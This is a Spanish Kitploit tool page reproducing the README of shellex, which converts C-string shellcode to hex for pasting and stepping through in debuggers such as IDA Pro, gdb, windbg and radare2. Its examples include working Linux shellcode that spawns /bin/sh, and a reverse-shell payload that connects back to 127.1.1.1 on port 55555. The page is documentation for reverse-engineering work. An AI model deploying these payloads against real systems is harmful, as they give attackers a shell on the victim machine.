Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
shellex — Convertidor de shellcode C a hexadecimal, herramienta útil para pegar y ejecutar shellcodes en IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger y 010 editor | Kitploit
Herramientas/GitHubGitHub/therealdreg/shellex
ExplotaciónIngeniería InversaShellcodeDepuradoresUtilidades y FrameworksAnálisis de BinariosGeneración de ShellcodeDesarrollo de Payloads
GitHubtherealdreg/shellex

shellex

Convertidor de shellcode C a hexadecimal, herramienta útil para pegar y ejecutar shellcodes en IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger y 010 editor

Ver Repositorio
1122310hace 3 añosRevisado por Kitploit
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

shellex

ADVERTENCIA: el código más feo del mundo

Conversor de C-shellcode a hexadecimal.

Por favor, considera hacer una donación: https://github.com/sponsors/therealdreg

Herramienta práctica para copiar y pegar shellcodes en IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger y 010 editor.

¿Tienes problemas para convertir C-shellcodes a HEX (quizás con comentarios en C o ASCII mixto)?

Aquí tienes shellex. Si el shellcode se puede compilar en un compilador C, shellex puede convertirlo.

Solo ejecuta shellex, pega la cadena C del shellcode y pulsa ENTER.

Para finalizar usa Control+Z (Windows) / Control+D (Linux)

Conversión de shellcode C multilínea hexadecimal+ASCII mixto (presta atención a la parte mixta \x68//sh\x68/bin\x89):

root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

Salida de shellex:

root@kitploit:~
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Conversión de shellcode C multilínea con comentarios:

root@kitploit:~
"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- Puerto: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

Salida de shellex:

root@kitploit:~
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

¿Necesitas la salida de shellex como una nueva cadena C de shellcode? solo usa el parámetro -h, ejemplo convirtiendo la salida de shellex:

root@kitploit:~
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

Instalación

root@kitploit:~
git clone https://github.com/therealdreg/shellex.git

Para Windows:

binario:

root@kitploit:~
shellex\bins\shellex.exe

Para Linux

Dependencias:

root@kitploit:~
sudo apt-get install tcc

binario:

root@kitploit:~
shellex/linuxbins/shellex

Pegar y ejecutar shellcode en ollydbg, x64dbg, immunity debugger

Simplemente usa mi plugin xshellex:

https://github.com/therealdreg/xshellex

Pegar y ejecutar shellcode en IDA PRO con IDAPYTHON

  • ejecuta shellex
  • introduce el shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • pulsa enter
  • pulsa Control+D
  • convierte la salida de shellex a cadena C-Hex con shellex -h:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • crea tu propio script IDAPYTHON:
root@kitploit:~
def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")
  • Copia la cadena C-Hex a la variable shellcode.
  • Para 32 bits usa: address = idc.get_reg_value("eip")
  • Para 64 bits usa: address = idc.get_reg_value("rip")

Depura un programa en IDA PRO:

  • Ve a File -> Script command...
  • en Script Language selecciona: Python
  • Pega el script IDAPYTHON
  • Haz clic en Run

Ahora puedes depurar el shellcode con F7, pero quizás la ventana de desensamblado muestre el shellcode como db's.

Aquí la solución:

  • Selecciona los bytes del shellcode en la ventana de desensamblado
  • Clic derecho -> Undefine
  • Vuelve a seleccionar los bytes del shellcode en la ventana de desensamblado
  • Clic derecho -> Code -> Force -> Yes

¡Hecho! Puedes ver el shellcode desensamblado y depurarlo con F7.

Pegar y ejecutar shellcode en gdb

  • ejecuta shellex
  • introduce el shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • pulsa enter
  • pulsa Control+D
  • convierte la salida de shellex a cadena C-Hex con shellex -h:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • escribe la cadena C-Hex en un archivo como datos binarios crudos con "echo":
root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
  • gdb /bin/ls
  • starti

Escribe el archivo binario en el puntero de instrucción actual:

para 32 bits:

root@kitploit:~
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

para 64 bits:

root@kitploit:~
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

x/30b es el tamaño en bytes del shellcode, puedes obtener el tamaño con:

root@kitploit:~
wc -c /tmp/sc

x/15i es el número de instrucciones a mostrar, puedes obtener el número correcto (quizás) con ndisasm:

root@kitploit:~
sudo apt-get install nasm

Para 32 bits:

root@kitploit:~
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

Para 64 bits:

root@kitploit:~
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

Pegar y ejecutar shellcode en gdb-gef

  • ejecuta shellex
  • introduce el shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • pulsa enter
  • pulsa Control+D
  • convierte con: echo "SPACE shellex_output" | sed "s/ / 0x/g"
root@kitploit:~
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

Usa el comando patch byte:

Para 32 bits:

root@kitploit:~
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

Para 64 bits:

root@kitploit:~
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

Ejecuta el comando context y comprueba si el desensamblado es correcto

Pegar y ejecutar shellcode en gdb-peda

  • ejecuta shellex
  • introduce el shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • pulsa enter
  • pulsa Control+D
  • convierte la salida de shellex a cadena C-Hex con shellex -h:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Para 32 bits:

root@kitploit:~
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

Para 64 bits:

root@kitploit:~
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

Ejecuta el comando context y comprueba si el desensamblado es correcto

Pegar y ejecutar shellcode en windbg

  • ejecuta shellex
  • introduce el shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • pulsa enter
  • pulsa Control+D

mediante eb

Para shellcodes pequeños eb puede ser suficiente, solo usa la salida de shellex con el comando eb (gracias a Axel Souchet @0vercl0k por la sugerencia)

Para 32 bits:

root@kitploit:~
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Para 64 bits:

root@kitploit:~
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

mediante archivo

  • convierte la salida de shellex a datos binarios crudos con certutil:
root@kitploit:~
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

salida de certutil:

root@kitploit:~
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

La longitud de nuestro shellcode es 30, entonces usa L0n30 en windbg.

Escribe el archivo binario en el puntero de instrucción actual:

para 32 bits:

root@kitploit:~
.readmem C:\Users\Dreg\sc @eip L0n30

para 64 bits:

root@kitploit:~
.readmem C:\Users\Dreg\sc @rip L0n30

Pegar y ejecutar shellcode en radare2

  • ejecuta shellex
  • introduce el shellcode:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • pulsa enter
  • pulsa Control+D
  • convierte la salida de shellex a cadena C-Hex con shellex -h:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • escribe la cadena C-Hex en radare2 usando el comando "w":

Para 32 bits:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

Para 64 bits:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

Comprueba si el shellcode está bien pegado:

Obtén el tamaño del shellcode en una terminal con:

root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

La salida del último comando es 30, ahora usa el comando pD en radare2:

root@kitploit:~
pD 30

Modo no interactivo

Convirtiendo "\x6a\x17\x58\x31\xdb\xcd\x80" en Linux:

root@kitploit:~
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

Convirtiendo "\x6a\x17\x58\x31\xdb\xcd\x80" en Windows:

root@kitploit:~
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

Mediante archivo multilínea en Windows:

root@kitploit:~
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

Mediante archivo multilínea en Linux:

root@kitploit:~
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

Compilación

Para Windows solo usa Visual Studio 2013

  • https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc_id=o~msft~vscom~older-downloads
  • https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409

Para Linux solo:

root@kitploit:~
cd shellex/shellex
gcc -o shellex shellex.c
./shellex
Descargar herramienta